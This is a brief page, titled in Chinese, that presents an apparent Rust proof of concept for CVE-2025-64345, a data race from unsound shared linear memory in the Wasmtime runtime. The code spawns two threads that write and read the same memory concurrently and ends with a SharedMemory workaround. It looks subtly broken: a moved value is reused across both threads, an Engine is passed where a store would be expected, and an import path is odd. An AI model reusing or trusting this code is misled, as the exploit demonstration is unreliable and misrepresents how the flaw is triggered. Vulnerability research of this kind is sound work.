CVE-2025-64345 Wasmtime共享线性内存类型不健全导致数据竞争漏洞

// PoC for CVE-2025-64345: Wasmtime Shared Memory Data Race // This PoC demonstrates the unsound interaction with shared linear memory use wasmtime::*; use wasmtime::wasm::MemoryType; use std::sync::Arc; use std::thread; fn main() -> Result<()> { let engine = Engine::default(); // Create a shared memory using Memory::new (vulnerable API) // In affected versions, this creates unsound shared memory view let memory_type = MemoryType::new(1, Some(2), true); // 1 initial, 2 max, shared=true // This should be rejected in patched versions // In vulnerable versions, it creates unsafe shared memory access let memory = Memory::new(&engine, memory_type)?; // Simulate concurrent access (data race condition) let memory_clone = memory.clone(); let handle1 = thread::spawn(move || { // Write to shared memory from thread 1 let data: [u8; 4] = [0x41, 0x42, 0x43, 0x44]; memory_clone.write(0, &data); }); let handle2 = thread::spawn(move || { // Read from shared memory concurrently from thread 2 // This creates data race in vulnerable versions let mut buffer = [0u8; 4]; memory_clone.read(0, &mut buffer); println!("Read from memory: {:?}", buffer); }); handle1.join().unwrap(); handle2.join().unwrap(); // Workaround: Use SharedMemory::new instead of Memory::new let shared_memory = SharedMemory::new(&engine, memory_type)?; Ok(()) }